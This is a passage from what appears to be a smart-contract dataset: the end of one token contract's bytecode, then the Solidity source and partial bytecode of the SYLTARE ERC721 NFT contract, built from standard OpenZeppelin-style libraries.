ffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e28565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f657600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077d57600080fd5b61080c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610897848484610ed0565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108f657600080fd5b61098582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd05780601f10610ba557610100808354040283529160200191610bd0565b820191906000526020600020905b815481529060010190602001808311610bb357829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1757600080fd5b610ca682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610e1e338484610ed0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080838311151515610ec157600080fd5b82840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610f1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f5957600080fd5b610faa816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561110057600080fd5b80915050929150505600a165627a7a72305820474c2d3dfef5c13cc4c8a87928baf112502d886b7ec0809927b83656ca2a904c0029
{"success": true, "error": null, "results": {}}
3,839
0xfF80bD43e3f0E414AFC70Cb8Ac1D3F0e6a303A2f
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; library Address { function isContract(address account) internal view returns (bool) { return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), "/info.json")) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { uint256 private _totalSupply; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { // Mint _totalSupply += 1; } else if (to == address(0)) { // Burn _totalSupply -= 1; } } } abstract contract ERC721Burnable is Context, ERC721 { function burn(uint256 tokenId) public virtual { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } contract SYLTARE is ERC721, ERC721Enumerable, Pausable, Ownable, ERC721Burnable { constructor() ERC721("SYLTARE, Dawn of East", "SYL") {} function _baseURI() internal pure override returns (string memory) { return "https://meta-data.syltare.com/"; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function mint(address to, uint256 tokenId) external onlyOwner { _mint(to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
0x608060405234801561001057600080fd5b50600436106101825760003560e01c80636352211e116100d857806395d89b411161008c578063c87b56dd11610066578063c87b56dd146102ef578063e985e9c514610302578063f2fde38b1461033e57600080fd5b806395d89b41146102c1578063a22cb465146102c9578063b88d4fde146102dc57600080fd5b8063715018a6116100bd578063715018a61461029b5780638456cb59146102a35780638da5cb5b146102ab57600080fd5b80636352211e1461027557806370a082311461028857600080fd5b806323b872dd1161013a57806342842e0e1161011457806342842e0e1461024457806342966c68146102575780635c975abb1461026a57600080fd5b806323b872dd146102165780633f4ba83a1461022957806340c10f191461023157600080fd5b8063081812fc1161016b578063081812fc146101c4578063095ea7b3146101ef57806318160ddd1461020457600080fd5b806301ffc9a71461018757806306fdde03146101af575b600080fd5b61019a610195366004611904565b610351565b60405190151581526020015b60405180910390f35b6101b7610362565b6040516101a69190611979565b6101d76101d236600461198c565b6103f4565b6040516001600160a01b0390911681526020016101a6565b6102026101fd3660046119c1565b61049f565b005b6006545b6040519081526020016101a6565b6102026102243660046119eb565b6105d0565b610202610658565b61020261023f3660046119c1565b6106c2565b6102026102523660046119eb565b610730565b61020261026536600461198c565b61074b565b60075460ff1661019a565b6101d761028336600461198c565b6107d2565b610208610296366004611a27565b61085d565b6102026108f7565b610202610961565b60075461010090046001600160a01b03166101d7565b6101b76109c9565b6102026102d7366004611a42565b6109d8565b6102026102ea366004611a94565b6109e3565b6101b76102fd36600461198c565b610a71565b61019a610310366004611b70565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61020261034c366004611a27565b610b8c565b600061035c82610c71565b92915050565b60606000805461037190611ba3565b80601f016020809104026020016040519081016040528092919081815260200182805461039d90611ba3565b80156103ea5780601f106103bf576101008083540402835291602001916103ea565b820191906000526020600020905b8154815290600101906020018083116103cd57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166104835760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006104aa826107d2565b9050806001600160a01b0316836001600160a01b0316036105335760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f7200000000000000000000000000000000000000000000000000000000000000606482015260840161047a565b336001600160a01b038216148061054f575061054f8133610310565b6105c15760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161047a565b6105cb8383610caf565b505050565b6105db335b82610d2a565b61064d5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f766564000000000000000000000000000000606482015260840161047a565b6105cb838383610e32565b6007546001600160a01b036101009091041633146106b85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047a565b6106c0611017565b565b6007546001600160a01b036101009091041633146107225760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047a565b61072c82826110b3565b5050565b6105cb838383604051806020016040528060008152506109e3565b610754336105d5565b6107c65760405162461bcd60e51b815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656400000000000000000000000000000000606482015260840161047a565b6107cf8161120e565b50565b6000818152600260205260408120546001600160a01b03168061035c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e0000000000000000000000000000000000000000000000606482015260840161047a565b60006001600160a01b0382166108db5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f206164647265737300000000000000000000000000000000000000000000606482015260840161047a565b506001600160a01b031660009081526003602052604090205490565b6007546001600160a01b036101009091041633146109575760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047a565b6106c060006112c2565b6007546001600160a01b036101009091041633146109c15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047a565b6106c0611333565b60606001805461037190611ba3565b61072c3383836113bb565b6109ed3383610d2a565b610a5f5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f766564000000000000000000000000000000606482015260840161047a565b610a6b84848484611489565b50505050565b6000818152600260205260409020546060906001600160a01b0316610afe5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000606482015260840161047a565b6000610b3a60408051808201909152601e81527f68747470733a2f2f6d6574612d646174612e73796c746172652e636f6d2f0000602082015290565b90506000815111610b5a5760405180602001604052806000815250610b85565b80610b6484611512565b604051602001610b75929190611bdd565b6040516020818303038152906040525b9392505050565b6007546001600160a01b03610100909104163314610bec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047a565b6001600160a01b038116610c685760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161047a565b6107cf816112c2565b60006001600160e01b031982167f18160ddd00000000000000000000000000000000000000000000000000000000148061035c575061035c82611647565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190610cf1826107d2565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316610db45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e0000000000000000000000000000000000000000606482015260840161047a565b6000610dbf836107d2565b9050806001600160a01b0316846001600160a01b03161480610dfa5750836001600160a01b0316610def846103f4565b6001600160a01b0316145b80610e2a57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610e45826107d2565b6001600160a01b031614610ec15760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201527f6f776e6572000000000000000000000000000000000000000000000000000000606482015260840161047a565b6001600160a01b038216610f3c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161047a565b610f478383836116e2565b610f52600082610caf565b6001600160a01b0383166000908152600360205260408120805460019290610f7b908490611c4a565b90915550506001600160a01b0382166000908152600360205260408120805460019290610fa9908490611c61565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60075460ff166110695760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015260640161047a565b6007805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b0382166111095760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161047a565b6000818152600260205260409020546001600160a01b03161561116e5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161047a565b61117a600083836116e2565b6001600160a01b03821660009081526003602052604081208054600192906111a3908490611c61565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000611219826107d2565b9050611227816000846116e2565b611232600083610caf565b6001600160a01b038116600090815260036020526040812080546001929061125b908490611c4a565b9091555050600082815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600780546001600160a01b038381166101008181027fffffffffffffffffffffff0000000000000000000000000000000000000000ff85161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60075460ff16156113865760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015260640161047a565b6007805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586110963390565b816001600160a01b0316836001600160a01b03160361141c5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161047a565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611494848484610e32565b6114a084848484611740565b610a6b5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e7465720000000000000000000000000000606482015260840161047a565b60608160000361155557505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b811561157f578061156981611c79565b91506115789050600a83611ca8565b9150611559565b60008167ffffffffffffffff81111561159a5761159a611a7e565b6040519080825280601f01601f1916602001820160405280156115c4576020820181803683370190505b5090505b8415610e2a576115d9600183611c4a565b91506115e6600a86611cbc565b6115f1906030611c61565b60f81b81838151811061160657611606611cd0565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611640600a86611ca8565b94506115c8565b60006001600160e01b031982167f80ac58cd0000000000000000000000000000000000000000000000000000000014806116aa57506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061035c57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b031983161461035c565b60075460ff16156117355760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015260640161047a565b6105cb838383611897565b60006001600160a01b0384163b1561188c57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611784903390899088908890600401611ce6565b6020604051808303816000875af19250505080156117bf575060408051601f3d908101601f191682019092526117bc91810190611d22565b60015b611872573d8080156117ed576040519150601f19603f3d011682016040523d82523d6000602084013e6117f2565b606091505b50805160000361186a5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e7465720000000000000000000000000000606482015260840161047a565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610e2a565b506001949350505050565b6001600160a01b0383166118c3576001600660008282546118b89190611c61565b909155506105cb9050565b6001600160a01b0382166105cb576001600660008282546118e49190611c4a565b9091555050505050565b6001600160e01b0319811681146107cf57600080fd5b60006020828403121561191657600080fd5b8135610b85816118ee565b60005b8381101561193c578181015183820152602001611924565b83811115610a6b5750506000910152565b60008151808452611965816020860160208601611921565b601f01601f19169290920160200192915050565b602081526000610b85602083018461194d565b60006020828403121561199e57600080fd5b5035919050565b80356001600160a01b03811681146119bc57600080fd5b919050565b600080604083850312156119d457600080fd5b6119dd836119a5565b946020939093013593505050565b600080600060608486031215611a0057600080fd5b611a09846119a5565b9250611a17602085016119a5565b9150604084013590509250925092565b600060208284031215611a3957600080fd5b610b85826119a5565b60008060408385031215611a5557600080fd5b611a5e836119a5565b915060208301358015158114611a7357600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060008060808587031215611aaa57600080fd5b611ab3856119a5565b9350611ac1602086016119a5565b925060408501359150606085013567ffffffffffffffff80821115611ae557600080fd5b818701915087601f830112611af957600080fd5b813581811115611b0b57611b0b611a7e565b604051601f8201601f19908116603f01168101908382118183101715611b3357611b33611a7e565b816040528281528a6020848701011115611b4c57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561